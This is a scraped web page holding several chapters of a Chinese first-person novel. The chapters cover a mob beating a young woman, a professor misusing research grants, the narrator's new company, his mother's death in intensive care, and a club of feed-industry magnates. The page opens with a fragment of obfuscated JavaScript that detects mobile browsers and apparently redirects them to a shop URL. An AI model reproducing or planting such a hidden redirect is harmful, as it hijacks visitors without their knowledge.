l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334304|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镶嵌在鱼尾纹里的三角眼像死鱼眼般凸着,放射出刀锋般逼人的杀气。她喘着粗气,迈着沉重的八字步,脚跟狠狠踩在地面上,仿佛要把脚下的青石板震碎碾成粉末。
七张凶神恶煞的脸,像极了饥饿觅食的狼群,每个人眼中都燃烧着冲天怒火。“三角眼”喘着粗气走到金玲儿身旁,二话不说,一个箭步冲上前,对着她玲珑剔透的脸庞“啪啪啪”连续扇了数记响亮的耳光。接着,她右手五指叉开,一把揪住金玲儿的秀发,在长着四个“酒窝”的手背上结结实实地挽了一圈,挥动着大碗口般粗壮的胳膊,使劲将金玲儿往餐厅外拖拽。
我惊愕地慌忙起身劝阻,却被“三角眼”的另一只手用食指顶在脑门上咆哮:“我们处理私事,惩罚这个不要脸的小贱货,谁敢阻拦就是与我们为敌!”
“三角眼”口沫横飞地吼完,继续气喘如牛地拖拽金玲儿。我再次尝试上前,想掰开她挽着金玲儿秀发的手,她却猛地推了我一掌,厉声呵斥:“王老七,少管闲事!再管连你一块收拾!”我疑惑地后退一步,正纳闷她怎么知道我叫王老七时,随行的一个中年妇女突然大声质问我是不是和金玲儿有染。那个魁梧的青年也上前拽住我的衣领,厉声警告我别多管闲事。
金玲儿柔弱的身体被拖拽得像虾米一样弓着腰,上半身呈90度向前倾斜,踉踉跄跄、跌跌撞撞,像屠夫手中待宰的羔羊,被拖拽着连滚带爬地往前挪动。“三角眼”一边气喘吁吁地拖拽,一边口沫横飞地咆哮:“你这个不要脸的小狐狸精!我要把你拖到闹市区,让大家看看你这头小母猪是怎么勾引别人老公的!”随行的几个中年妇女中,三个争先恐后地用脚猛踢金玲儿的身体,另外两个则不停地用拳头击打她弓着的腰背,每踢一脚、每打一拳,都伴随着不堪入耳的辱骂:
“小骚货!”
“小贱货!”
“臭狐狸精,勾引人家老公!”
“烂破鞋!”
在持续的暴击中,金玲儿被拖拽到锦绣山庄的小院里。“三角眼”单手叉腰,停在院子中央急促地大口喘气,稍作调整。休息过后,他甚至来不及平复喘息,便再次扬起肥厚的巨掌,嘶吼着如雨点般猛击金玲儿的脸部。直到打累了,怒火仍未消减,杀气腾腾地对身旁的中年妇女说:“打电话给那个没良心的老东西,让他来看看我怎么手撕这个小骚货!小贱货!”
站在一旁、胸口剧烈起伏的中年妇女拿出手机拨通后,有些失望地看向“三角眼”,失落道:“关机了,打不通!”
“这个忘恩负义的老东西!当初要不是我爸出钱,让他买下那所谓的顶级发明专利,帮他拿到各种奖项头衔、评上各类职称,他能有今天的地位?白天人模狗样,装得道貌岸然的教授,晚上却变成禽兽。我呸!这个不要脸的老色鬼!老东西!”
“这个老东西!老杂种!现在还当缩头乌龟!我让你缩!让你缩!”“三角眼”再次嘶吼咆哮,重新挥起稍作恢复的巨掌,疯狂地撕扯金玲儿浓密的秀发。
金玲儿乌黑浓密的秀发,在“三角眼”暴风骤雨般的撕扯下,伴随着尖锐刺耳、令人毛骨悚然的头皮脱落声,一丝丝、一缕缕、一团团带着血迹与头皮的发丝,在清冷的晚风里四处飘散坠落。
不堪入耳的辱骂声、发狂似的轮番殴打持续不断。我几次想上前劝阻,都被一名中年妇女和魁梧青年死死拦住。四川恒威集团酶制剂采购的负责人也惊愕不已,不知所措地退缩到角落,默默冷眼旁观。
施暴现场周围渐渐聚集了十几个围观者,却没有一人上前制止,他们或双手抱胸、或插着裤兜,静静伸长脖子看热闹。锦绣山庄的保安及工作人员也曾数次上前劝阻,却都被呵斥恐吓住,一脸无辜地退回到围观人群中。
随着时间推移,看热闹的人越来越多,施暴现场被里三层外三层围住。小院里挤满了男男女女,其中不少妇女嘴里似乎在低声议论着什么。偶尔有人想上前了解情况、劝阻或报警,但看到那群气势汹汹的中年妇女,绝大多数人都选择了明哲保身的中庸之道。剩下的少部分人听说金玲儿是“狐狸精”勾引有妇之夫,便跟着咒骂指点,幸灾乐祸地走开。更有极少数人向金玲儿吐口水,把擦鼻涕的卫生纸扔在她身上,甚至为“三角眼”鼓掌叫好、加油助威。
以数千年文明古国、礼仪之邦自居的人们,依然喜欢看别人倒霉、看别人委屈痛苦、看别人被辱骂折磨,只要事不关己。他们整天满口仁义道德、敬天爱人,却死死攥着虚无的礼教不放,常用古人压今人、用死人压活人;他们整天弘扬仁爱善良,却从心底不珍爱同类,连路边老人摔倒都不敢搀扶;他们整天高呼三省吾身、学而时习之,心中却不辨善恶是非,只会用眼睛看、耳朵听,从不用大脑思考;他们整天把家国情怀、正义勇敢挂在嘴边,却连路边小偷行窃都不敢呵斥;他们整天倡导淳朴、正直与诚实,自己说的话却总让别人揣摩解读;他们整天站在道德制高点衡量他人,却用最低标准要求自己;他们整天干着掩耳盗铃、梁上君子的事,却希望别人歌颂自己、对自己俯首称臣;他们整天使用现代文明的科学工具,心中却怀念钻木取火、向往回到古代;他们整天挖空心思崇拜权力权威,手中哪怕只有一点权力,都要想尽办法为难同类。
金玲儿蜷缩着瘦弱的身躯,躺在小院坚硬的石板上。满身的脚印,颤抖的四肢,到处都是带着血迹的头发与头皮,鼻腔、嘴角、耳朵里不停地流着血。苍白的嘴唇哆嗦着,泪水混着血丝像断线的珠帘,从酱紫色的脸颊滚落下来。
十几几分钟后,两辆警车如神兵天降,终于鸣着尖锐急促的警笛声匆匆赶到。五名警察合力制住了“三角眼”以及几个仍在辱骂的中年妇女。其中一名腰间佩着手枪的警察询问是谁报的警,我上前向他简要陈述了自己看到的情况以及听到的辱骂内容。
佩枪的警察用录音器记录下我的陈述后,要求我出示身份证登记身份信息,并询问我与金铃儿的关系、为何会来此处吃饭,以及“三角眼”与金铃儿的关系。
一名警察为金铃儿呼叫了120救护车,随后手持记录仪走到“三角眼”身边,询问并记录事发的前因后果。另外三名警察戴着白手套,用自封袋从施暴现场收集了散落在地上的头发、头皮、血迹等证物。不一会儿,120救护车也抵达现场,急救人员用担架将金铃儿抬上了车。佩枪的警察又调来两辆警车,“三角眼”及其他六名随行人员一同被带上警车,四辆警车先后呼啸着驶离。
蝴蝶虽娇艳美丽,生命却比春天更短暂、比鲜花更脆弱,它们会在春尽花残之时,随春光一同化尘而去。从那天起,我再也没有见过金铃儿。我不知道在往后幽暗的岁月里,在风雨交加的记忆黑夜里,她将如何度过?又将如何遗忘?或许人活着,开心、快乐与美丽不过是生命中的插曲,而忍受、接受、理解、宽容与原谅一切,才是生命的常态。
15. 第 15 章
我与方贤德教授合作的第四年,昆明聚德贤公司实现盈利一千多万元。春节临近时,方教授在实验室的会议室里召开了一场简单的年终庆祝与总结会。他端坐在长方形会议桌的主位上,首先肯定了公司取得的成绩——这成绩来之不易,是团队齐心协力、真抓实干的结果,值得骄傲。他也特别表扬了我为公司付出的努力,称我是推动公司发展的中坚力量。接着,他兴致勃勃地强调:实验室拥有的世界领先菌种是第一利润源,高学历人才则是第一生产力。昆明聚德贤公司背后有众多研究生、博士生,他们既是公司的中流砥柱,也是祖国的栋梁之材。说这话时,他环视了董金贵、张斌、在读博士郭雯雯,以及其他研究生和博士生一圈。随后,他神采飞扬地宣布:“今年公司向国家发改委申请到两千万元微生物重大项目补助,加上云南省发改委配套的两千万元,目前已到账三千万元,剩余一千万元待项目验收后即可拨付。明年我们争取申请更多更大的项目补助,大家提前准备材料。最后,我宣布一个宏伟目标——希望大家继续艰苦奋斗、努力拼搏,力争三年后让昆明聚德贤公司在A股上海主板上市。”
接下来,方贤明汇报公司生产及经营情况:“方教授,在您高瞻远瞩的领导与关怀下,我们上下一心、拧成一股绳,遵照您的指导思想积极进取、狠抓落实,取得了阶段性成果。目前公司经营状况稳中向好,今年实现纯利润一千零八十万元。主要支出包括厂房租金、水电费、人员工资、培养基及发酵原料。若实验室明年能提供更多培养基与发酵原料,公司明年的利润率有望进一步提升,创造更多利润。因此,采购方面还需实验室大力支持,希望能加强培养基及发酵原料的供给,助力公司再创佳绩。”
董金贵喝了口茶,胸有成竹地接过话头:“这完全不是问题,我和郭雯雯会持续加大采购力度。如果公司方便,也可以自行采购,只要发票抬头开成实验室即可。反正实验室每年有几千万元科研经费,年年都在为如何合规使用发愁。另外,方总您上次提到的全自动溶氧探头、pH酸碱度探头已经备齐,改天您从工厂派人来取就行。检测仪器、试剂、底物、耗材这些也没问题,购买后凭发票到实验室实报实销。设备用坏了也没关系,只要保留外壳和铭牌,就能顺利办理损坏或报废手续。”
当天参会人员中,有一位方教授即将毕业的研究生李文勇,还有董金贵指导的三名大四本科生。李文勇是河北人,女朋友是云南临沧人,两人都是方教授同一届的研究生。这四人计划春节后一起到昆明聚德贤公司实习,明年七月毕业后正式加入公司担任销售员。此外,还有两位股东、三名在读研究生和一名博士生参加了此次年终会议。
随着我开发的客户数量增多,产品销量持续增长,公司纯利润屡创新高。我渐渐摆脱了生活的窘境,出差时可以自主购票,选择乘坐飞机经济舱或高铁二等座。同时,方教授大幅提高了我的工资和差旅费,月收入达到六千多元,让我人生中第一次真正实现了吃穿不愁的自由。
这一天,我整整等了三十年。无论我对方教授有多少不满和抱怨,也无论我为他付出了多少努力,心底始终清楚:是他帮我实现了吃穿不愁的自由,是他帮我站到了别人唾手可得的起跑线上,是他给了我平台和机会,让我拥有了一片属于自己的空间。
在一次大学同学聚会上,我偶然碰到了我们班的一位单身女生,她简单平凡,朴素勤劳。从1999年相识到2010年,我们已相伴11年,彼此足够了解熟悉,还拥有许多共同的同学与朋友。她30岁未嫁,我30岁未娶,没有缠绵的告白,没有热烈的追求,更没有浪漫的花前月下,我们自然而然地成了恋人。
2011年,我们举办了简单的婚礼,租住在昆明一间不足25平方米的小屋,洗衣做饭。十几户人家挤在阴暗狭窄的公共走廊里,上厕所、洗澡都要排队等很久。31岁的我,除了一个温馨的家,依旧一事无成、居无定所,可那时的我,却感到了从未有过的开心、快乐、充实、幸福与温暖。
张云龙在我结婚的第二年,也和一位护士结了婚。他们仍租住在曾经马路边的简易房里,只是破旧的木门上,贴了一张崭新的“囍”字。
或许人生的结果与成败,并不像我们想象中那般重要。在追逐目标的旅途中,那些经历的酸甜苦辣、风霜雨雪与喜怒哀乐,那些体验的亲情友情、悲欢离合与世间百态,才是生命真正的意义所在。活着不一定要大富大贵、功成名就,只要每天都能不负时光,每一刻都用心感受生活、体验生命、感知世界,便已不虚此行、不枉此生。
乳白色的晨雾在广东云浮市新兴县的山谷间弥漫,缥缈地翻滚着,时而如冰川雪峰,时而似蓬莱仙境,时而若海市蜃楼。金色的霞光染红了东方天际,晨雾在清凉的微风中,一缕缕、一袅袅、一团团地缓缓散开,慢慢蒸发,渐渐消失。
太阳终于挣脱霞光笼罩的地平线,跃上远方的群山之巅,喷射出耀眼的万道金光。
我与李文勇踏着金色朝阳,再次来到新兴县魏氏集团的大门口。有了上次的教训,这次我们早早提前预约了技术总监谭博士和采购部总经理陈一峰先生。
这一次,谭博士终于给了我们详细介绍公司与产品的机会。他认真听完后,建议我们先邮寄样品到化验室检测评估,接着做养殖实证试验,之后才有机会进入集团总部的采购目录。
下午我们又拜访了采购部总经理陈一峰先生,他表示需先经技术部门检测评估并同意进入采购目录后,采购部才能根据公司具体需求,按需按量按时采购。
即将离开魏氏集团总部时,大门口的保安大叔热情地跟我打招呼,笑着说:“靓仔,你又来了!进来保安室坐坐吧。”我有些惊讶地看着他,回应道:“过了这么久,您居然还能记得我!您记性真好啊!”
保安大叔用粗糙的手挠了挠头,咧嘴笑道:“像你上次那样拦在行驶的车头前,逼停司机拜访客户,我守大门二十多年,还是头一回见。这种行为虽不值得肯定效仿,但你那份不屈不挠的劲头,实在让人难忘。”
我与李文勇走进保安室,坐在长凳上和大叔攀谈起来。原来他是魏氏集团近三十年工龄的创业元老,还持有集团少量股份。村里很多人都是集团员工,或是肉鸡、育肥猪代养户。
提起魏氏集团,他满脸自豪,滔滔不绝地讲起集团带动了多少农户致富,解决了多少人就业,每年的慈善捐款捐物更是不计其数。集团中高层在魏氏兄弟带动下也热衷慈善,他对集团的感激难以言表——魏老爷子让他从文盲学会读写,从放牛娃变成千万富翁;说起魏氏兄弟,他更是赞不绝口,称他们勤俭节约、平易近人,一心向善向佛。
他长长叹了口气,语气略带悲伤地说:“为什么好人总是没有好报呢!”
他抬起头,幽幽望着远方连绵的群山,回忆起年轻时的经历:“我11岁那年,父亲去世了。我在人民公社放牛,母亲在公社下地干农活。我们母子相依为命,平静的生活没过几年,母亲也因病去世,我成了无依无靠的孤儿。那时,魏老爷子是人民公社里的肉鸡养殖技术指导员。听说我父母双亡、成了孤儿,他第一时间向公社相关领导提议,让我去生产队鸡场帮忙清理鸡粪。我在鸡场做清粪工时,他也常来看望我。当年若不是他为我争取到这口饭吃,恐怕我也活不到今天。
后来又过了些年,魏老爷子带着次子魏万里,以股份制形式创立了新兴县勒竹鸡场。起步时只有7户8人,凑了8000元启动资金,承包了勒竹镇人民公社的养殖农场,改造成肉鸡养殖场。随着养殖规模不断扩大,所需的养殖人员越来越多,我就是在那时加入魏氏集团,先负责看守养鸡场大门,后来又调到集团总部看大门,一晃就是二十多年。
到魏老爷子因病去世时,仅与魏氏集团合作的农户就有数千户,一年出栏数千万只肉鸡、肉鸭和几十万头生猪。这不仅带动了勒竹镇不少农户致富,连整个新兴县的人几乎都跟着沾了光。
我们准备离开时,他特意解释第一次不让我进集团总部大门,是因为门卫制度的规定,他只是在严格执行安保制度,并欢迎我有空常去找他坐坐。
回广州的大巴上,李文勇忽然说,他想明天回昆明就辞职。我十分诧异,问道:“你才入职不到5个月,怎么突然不想干了?”李文勇研究生毕业后,女朋友去了昆明理工大学当助教。他和董金贵推荐的3个本科毕业生,4人一起加盟昆明聚德贤公司,我带着他们做饲料用酶制剂的销售工作。
他望着车窗外飞速掠过的树影,面无表情地淡淡说道:“当初方教授跟我讲了很多,说他掌握的酶制剂菌种技术是世界顶级、遥遥领先全球,每年能申请多少重大项目补助和科研经费,保证技术始终领先同行。我跟着你跑了这几个月市场,才发现他说的那些菌种,在市场上早就是过时的烂大街技术,发酵出来的产品多年前就已同质化。明明是井底之蛙,却自吹自擂是科技界的灯塔,还封自己为酶制剂行业‘北圆南方’的绝代双骄之一,信誓旦旦说昆明聚德贤要三年上市!他把公司吹得天花乱坠,可实际上,这公司只是他套取项目补助和科研经费的工具,我们却把它当成了终身的职业与前途。”
我听后深有同感,陷入了深深的沉默与忧虑,不再说话。他神情悲凉又失望,默默把头靠在椅背上闭目养神,不愿再开口。
那天晚上8点多我们才到广州,在24小时营业的麦当劳一起吃晚餐。相对而坐时,他自顾自低头吃汉堡,我问他将来有什么打算。他缓缓抬头,眼神迷茫,犹豫地看着我说:“父母让我回河北老家找工作,女朋友却让我留在昆明。”过了会儿,他无奈地叹口气补充道:“我还是打算先回昆明找工作,找不到合适的再回河北。酶制剂行业我不能再碰了——当初方教授让我们4人加入公司时,签了离职后三年内不能从事酶制剂行业的保证书。这也许不合法也不合情理,但我既然签了,就不能不讲诚信,不能因为他做了初一,我就非要做十五。”
第二天,我从广州出发,先后去了湖南、武汉、重庆,然后到了四川成都的恒威集团。四川恒威集团酶制剂采购的相关负责人上次来昆明参观完实验室和工厂后,特意邀请我们公司去他们集团总部,举办一场酶制剂产品的宣讲报告会。
李文勇则在第二天提前结束了出差。他回到了昆明。不久后,他信守承诺,毅然改行,前往深圳一家医疗器械公司,负责昆明地区的销售工作。又过了几个月,他与女朋友结了婚。婚礼当天,我和许多同事及他的师兄弟都到了现场,而方贤德教授、董金贵、张斌、郭雯雯均未出席。
四川恒威集团是一家多产业发展的大型企业,核心业务聚焦水产饲料与光伏多晶硅两大板块。老板柳花明不仅掌握多项核心技术、富甲一方,还是帝豪高尔夫俱乐部的会员。
那天早上,我与方贤德教授、董金贵、张斌、郭雯雯一同到恒威集团完成宣讲后,下午我们五人结伴前往成都武侯祠游览。跟着景区导游行至三义庙门口时,方教授驻足庙前,神情庄重地对我们说:“关羽、张飞及其后代,一生忠于刘备的刘氏天下,关羽更是忠义的化身,是我们千秋万代敬仰学习的楷模;诸葛亮终生效忠刘氏蜀国,鞠躬尽瘁、死而后已。他们都是名扬千古、世代传颂的忠义之士。我们传承千年的忠义精神,值得现代人深入学习、体会与领悟,更应继往开来、薪火相传,将老祖宗留下的优良传统发扬光大。”
董金贵、张斌听完连连点头,异口同声道:“要弘扬中国传统美德,传承古人忠义精神。”
郭雯雯则用敬仰的目光温柔地望着方教授,微笑着轻轻点头。
从成都返回昆明后的半年里,我陆续收到辽宁和牧神股份公司、江西三胞胎集团等多家合作客户与经销商的质量投诉。但方教授从不正面回应或妥善处理,总是以“客户无事生非、碰瓷讹诈”为由不了了之。李飞鹰、赵红军、李新语等人甚至不远千里专程赶来昆明,询问质量问题的根源,还表示若公司需要,他们可以协助解决。可方教授不仅坚决否认产品存在质量问题,还找了诸多看似合理的借口试图蒙混过关,不愿面对事实,也不想解决问题。
在得不到方教授正面回应的情况下,李飞鹰、赵红军、李新语等人只能多次与我通电话商议解决办法,却始终无解,陷入了诡异的死循环。
经过数月的僵持,面对无力改变现实的无奈与痛苦,最终约80%的客户与我达成一致:“与其这样委曲求全却无动于衷,不如我们另谋出路,自建新工厂,自主生产并把控产品质量。”
于是,我们在2014年7月正式成立了昆明逆风飞扬生物科技有限公司。北京大学生命科学院的汪教授全力提供酶制剂菌种的技术支持,几位客户共同承担新工厂的全部建设资金,我则负责具体执行与落地。经历数次质量事故,加上近八年的交往与了解,绝大多数客户选择相信我,纷纷进货,甚至提前支付了全年的预订货款。或许正如我小时候母亲常教导我的:“做事要水到渠成,做人要学会坦然吃亏。永远别觉得自己最聪明,总想着占别人便宜。当你觉得身边人都是傻子时,你自己才是最傻的那个;当你占尽身边人便宜时,你终将成为孤家寡人。”
回望那些不堪回首的过往、痛苦挣扎的彷徨,如今都成了客户义无反顾支持与无条件信任的理由。或许曾经的暗夜都是黎明的前奏,苦难都是幸福的序曲,挫折都是坦途的开始,毁灭都是新生的涅槃。
人生有时就像一场漫长的马拉松,绝非50米或100米的冲刺。起跑线在哪里、前方路况如何,我们无从选择,也无法逃避,其实也没那么重要。无论身陷泥泞还是身处寒夜,只要我们仍有仰望星空的勇气,就不必过度悲观眼前的苟且,无须过于惧怕明天的荆棘,终会成为过往。那些来来去去、匆匆忙忙的脚印,那些欢欢喜喜、生生死死的刹那,皆是人生中曼妙的风景。
昆明逆风飞扬公司正常运营后不久,2015年的元宵节,母亲突然病危,住进了昆明云大医院的重症监护病房。我坐在病房外走道的长凳上,隔着重症监护室厚厚的防护门,陪她度过了生命最后的时光。这些年我居无定所、颠沛流离,陪伴她的日子屈指可数。在她最需要陪护的迟暮之年,我却选择做一个寻梦的浪子,自私地走向陌生的远方,残忍地将她留在贫穷的偏僻山村,任她在孤单的黑暗角落无助绝望地煎熬。从传统观念来看,我就是人们口中的“逆子”与“不孝子”。
每天只能探视一次,当冰冷的重症监护室防护门为我开启时,我看到脸色蜡黄暗沉、身上插满管线、连接着各种仪器、骨瘦如柴的母亲。我没有眼泪,也没有锥心刺骨的痛楚,只有一种从心底蔓延至骨髓的寒冷,一种无能为力的麻木,一种毫无意义的自责。
每当重症监护室的防护门里推出一辆四轮担架车,上面躺着头盖白布的逝者,弥漫着消毒药水味的走廊便会被此起彼伏的哭嚎声浪淹没。在持续不断的哀嚎与抽搐声中,我静静地看着一具具遗体被缓缓推过阴暗的走廊,整齐排列在楼下的太平间里。我时刻准备着面对下一个推出的担架上躺着的就是母亲,仿佛也看到了未来被推出的自己。
从患者被推进重症监护室到头盖白布被推出的过程,都会诞生一个生死离别、支离破碎的家庭。亲人不幸离世,悲痛欲绝的背后,是许多家庭耗光半生积蓄,不仅人财两空,还可能因此背负借贷、负债累累,甚至倾家荡产、妻离子散。
被推进重症监护病房的患者,几乎都是生命垂危、命悬一线,或是衰老到油尽灯枯、行将就木。但只要还有一口气,很多家属就算倾其所有,也要让患者多活一天。有些是因突如其来的意外,难以接受地挽留;有些是迫于传统文化的美德与世俗“孝道”的压力;有些是在“面子”至上的观念下,为了证明或标榜什么;还有些是出于某些不知名的需要或目的。
如今回想起来,我亲手将风烛残年、完全失去知觉和意识、已无挽回可能的母亲推进重症监护室,是对她一生最大的残忍。我曾犯过很多错误,但这个错误无疑是最无知、也最虚伪的一个。我自以为有“希望”的妄想,自认为是尽孝道的高尚,却成了她超脱的枷锁,将她囚禁在无尽的痛苦中,让她在地狱般的迷宫里循环往复,求生不能,求死不得!
从时间的规律来看,我们每个人的一生,不过是死亡前的等待过程。每天能健康平安地活着,实属幸运,生死无常才是生命的常态。活着是人生的一部分,死亡亦是人生的另一部分,只是走出时间的另一种存在方式。死神存在的意义,在于让我们懂得珍惜活着的时光、活在当下的可贵,懂得珍惜身边的每一位亲人与朋友,用力拥抱他们,用心关爱他们,多花时间陪伴他们。
人生犹如一列开往墓地的列车,旅途中会有很多人上车,也会有很多人下车。我们无法选择上车和下车的时间与方式,却可以自主选择如何与同行的旅客真诚相处,怎样用力去爱身边的人,以及整个旅途的心情。我们还能自由决定下车时的心态与“干净”程度。
母亲是个一字不识的传统村妇,从我6岁那年哥哥猝然离世起,她便身患多种顽疾,腿脚不便,视力奇差。她以超乎寻常的意志力,在贫瘠的大山深处顽强生活,即便到了油尽灯枯的晚年,仍含辛茹苦,用尽生命之力养育我。她给我的爱,和所有母亲的爱一样浩瀚高远、无私伟大,一样可以为子女舍生忘死。如果一命可以换一命,我想所有医院的天台上,都会挤满白发苍苍的母亲。苍苍的母亲。
母亲在重症监护室的病房里像植物人般昏睡十二天后,带着对子女无限的眷恋,终于挣脱苦难的人世,逃离病魔的手掌,像哥哥和爷爷奶奶一样永远安详地安息了。我与她三十多年的相依为命,转瞬便淹没在滚滚红尘里。三十多年的母子缘分,转瞬就到了离别的站台。三十多年的牵挂与温暖,转眼间幻化成空,一无牵挂,了无牵挂。
在那个春暖花开的午后,我再次学着奶奶当年帮哥哥擦洗手脚和脸庞污垢的流程,默默流着眼泪帮母亲擦洗干净手脚和脸庞,把她装进“豪华体面”的松木板黑色棺材里。我看着她穿着红黑相间的崭新“寿衣”,手中握着一块红糖,静静躺在散发着松香味的黑色棺材内,面容慈祥,神态宁静,久久舍不得盖上棺材盖板。母亲在寒夜里给予我的温暖黎明,在夕阳下呼唤我归家的黄昏,如流水般从我的生命中滑过,永远不会再重现。在她入土为安的那个下午,上古的梵音响彻山谷。她走完冰冷的幽暗岁月,今年的流年,今生的不幸,终抵苦海超脱的彼岸。
母亲是一座桥,连接着我与家乡。她活着时,家乡总有一盏灯为我守候,照亮我回家的路。她不在了,家乡变成了我难以回头的故乡。
第十六章
昆明逆风飞扬公司的发展一帆风顺,销量节节攀升,经营业绩屡创新高,一切均朝着好的方向前进。我开始进入人生的另一条赛道,切换成另一种生活状态。
依照帝豪高尔夫俱乐部的内部规定,每个季度都会由会员轮流请客做东聚会一次。2016年第二季度中旬,轮到俱乐部会员——云南天神集团的何正道,邀请所有会员及会员陪同嘉宾到昆明以球会友,竞技切磋,相互学习交流饲料与畜牧行业的最新发展趋势,畅谈近期的人生感悟,以及分享保健养生、健康长寿的经验。
帝豪高尔夫俱乐部的会员,全部由中国饲料与畜牧行业金字塔尖的精英组成,其中很多人也是中国福布斯富豪榜的常客。宋人神集团的宋二海兼任俱乐部会长,美国奥特八公司老板Mr.David的私人秘书罗玉凤兼任俱乐部秘书长。广东魏氏集团董事长魏万里、四川恒威集团董事长柳花明两人兼任俱乐部副会长。上海金农神集团、广东欲利多公司、江西三胞胎集团等企业的老板,也是俱乐部的会员。此外,来自东南亚的正方集团、北京正方康地等跨国企业的职场精英高管,以及中国一流高等院校的学术泰斗,也悉数在列。帝豪高尔夫俱乐部可谓富豪云集、群英荟萃,让很多饲料与畜牧行业的从业者心生向往、趋之若鹜。
报到当天中午,宋二海、张四海、魏万里、罗玉凤、柳花明,还有《农牧经济前沿》杂志社董事长兼俱乐部特约随行记者梅如花,北京正方康地公司总经理叶孤城,浙江万能公司万能才博士,原山东烟台农业大学教授兼两家集团公司董事长梁孝儒,魏万里的陪同嘉宾圣甘地,美国天明饲料原料贸易公司总经理黄一笑,华夏生物饲料研究中心主任兼北京超越集团董事长张翼德,云南东南饲料集团董事长张红兵等,陆续到达。
宋二海出生于50年代,身上带有那个年代的特殊烙印,也具备那个时代出生的人共有的许多优良品质:简朴节约、吃苦耐劳、勤奋好学。
自他兼任俱乐部会长十多年来,从不迟到,更从未缺席俱乐部每一次组织的集体活动。每一次聚会的学习交流,他都会亲力亲为主持,力求做到最好。他始终坚持为帝豪高尔夫俱乐部鞍前马后、鞠躬尽瘁、兢兢业业地服务。
他们陆续抵达昆明滇池湖畔高尔夫球会的湖景酒店,齐聚在酒店顶层宽大的露天阳台上,一边欣赏西山滇池的美景,一边品饮“冰岛古树单株”的极品普洱茶。
宋二海坐在直面滇池的椅子上,身穿一件印有宋人神集团字样的天蓝色衬衫,胸前的纽扣随意敞开着,任掠过滇池水面的微风,撩拨他茂密的胸毛。他曾经郑重宣誓“5年内要在全国捐赠100所希望小学,建立100个神牛牌饲料示范县、3000个神牛牌饲料示范村、5万个神牛牌饲料示范户”的宏伟目标,如今似乎已被他彻底遗忘,绝口不提。他转而兴致勃勃地向围观众人宣讲宋人神集团的全新蓝图:“未来5年,宋人神集团生猪出栏量要达到每年2000万头以上,商品饲料年销量必须突破2000万吨,年利税实现100亿元。”
梅如花、万能才、罗玉凤、张翼德、黄一笑等人簇拥着宋二海围坐一旁,正聚精会神地跟随他的情绪起伏、表情变化、语速快慢与声音高低——时而不失时机地点头称是,时而露出心照不宣的微笑,时而竖起大拇指表示赞扬,时而见风使舵地随声附和。他们的举手投足、一颦一笑与点头哈腰都节奏得当,表情拿捏得恰到好处。
对比十三年前我在洪州市郊区宋人神大学初次见到他时,宋二海苍老了许多,也慈眉善目了许多。那时的他,只要面对有利益关联的人,或是谈及销量利润,眼中总会泛起青光;如今他原本浓密乌黑的头发已脱落大半,头顶露出大片“地中海”,仅存的四周发丝也已花白。头顶虽秃、头发虽白,鼻毛却异常茂盛地向外生长,成簇地从鼻孔窜出,隔着数米远都能看见鼻孔下的两绺黑毛。
经过多年艰苦奋斗与苦心经营,宋二海如今身家已达数十亿元。从人民公社到知青下乡,从“□□”饥荒到改革开放,他亲历了20世纪50年代后国家的每一次挫折与灾难,也见证了祖国的每一步蓬勃发展。四十多年来,他从国营单位最底层起步,一步步从基层走到高层,从无到有推动宋人神集团不断壮大,这一切都是他不懈努力的成果。集团的每一家分公司都由他汗水浇筑,每一次重大决策都经过他深思熟虑,每一栋猪舍、每一座饲料厂都凝聚着他的心血。在饲料与畜牧这一产品附加值较低的行业,每一分钱都赚得不易,这也让他养成了勤俭节约、苦行僧般自律的习惯。
宋人神集团于他而言,就像亲生儿子。他的心脏只为集团利益跳动,血液只因集团存在而流淌。他已成为集团的一部分,性格特征深深烙印在集团的发展基因里;他的一切行为与思想都受集团支配、以集团为导向,与集团荣辱与共。
他走过的六十二年岁月,始终在学习中进步、在成长中蜕变:从握锄头木柄到挥高尔夫球杆,从初中毕业到成为专家博导,从摆弄扳手螺丝钉到作诗填词,从两手空空到亿万富翁。六十二年来,他活得不负时光,始终在倔强、坚韧、奋进与激情中燃烧自己。创业时失去的尊严,也在多年努力后像从情色片走向金像奖的女明星——曾经脱下的衣服,已被一件件重新穿回。
魏氏集团董事长魏万里静静坐在阳台一角,望着西山顶上的金色夕阳若有所思,像一头正在咀嚼晚霞的老牛。他的随行圣甘地寸步不离地坐在身旁,手握一个镀金大烟斗,正“吧嗒吧嗒”抽得起劲。
四川恒威集团董事长柳花明,正对叶孤城、何正道、张四海、梁孝儒教授等人不厌其烦地宣讲:“若在一亩鱼塘水面铺满光伏发电设备,每年产生的电量约等于三吨石油燃烧的最大发电量,因此渔光一体才是新能源的未来,是可持续绿色发展的真正出路。”叶孤城一边悠闲地抽着古巴雪茄,一边询问光伏上游原材料多晶硅生产中产生的三氯化硅、四氯化硅等副产物如何实现绿色环保处理,以及为何只有他们能将多晶硅生产成本做到全球最低。
虽然我曾与李新语两次拜访张四海,但似乎并未给他留下印象。当我上前打招呼时,他仿佛完全不认识我,却仍文质彬彬地与我寒暄了几句。
梁孝儒教授用大拇指与食指正反复摆弄着刚从鼻孔深处挖出的新鲜鼻屎。没摆弄多久,零散的鼻屎就被搓捏成了一整团,他用食指和拇指拈着轻轻往地上弹了弹,又往椅子扶手上抹了抹,接着便往鼻孔更深处猛挖起来。
梁孝儒教授多年前曾是山东烟台农业大学的教授,后来离职下海创业,如今是两家集团上市公司的最大股东兼董事长。据说其中一家公司仅负责申请国家项目补助的项目部就有50多人,每年能申请到的项目补助资金超一亿元。梁孝儒教授天生一副真诚坦率、淳朴善良、憨厚老实的模样,总给人宅心仁厚、踏实可靠、与世无争的第一印象。遇事时他总是眉头一皱,露出专为他人分忧解难、替他人着想的深思表情,完全是妥妥的社会良心、人类公知形象。
下午6点30分左右,美国奥特八公司的老板Mr.David、东南亚正方集团中国区董事长谢晓峰等人也先后来到酒店宽大的阳台上。当Mr.David走上阳台时,罗玉凤、宋二海、张四海、梅如花起身鼓掌欢迎,还整理着装,上前紧紧握住Mr.David的手,给予了热情的拥抱。其他大部分人也不得不跟着微微起身,礼节性地向Mr.David表示欢迎。
何正道的陪同嘉宾兼天神集团首席接待负责人陈冠军,悄悄走到何正道身旁轻声说:“何董事长,餐厅已准备就绪,可以开饭了。”于是,俱乐部会员、陪同嘉宾及其他各色人等,一同跟随何正道来到酒店最大、最豪华的VIP包间。
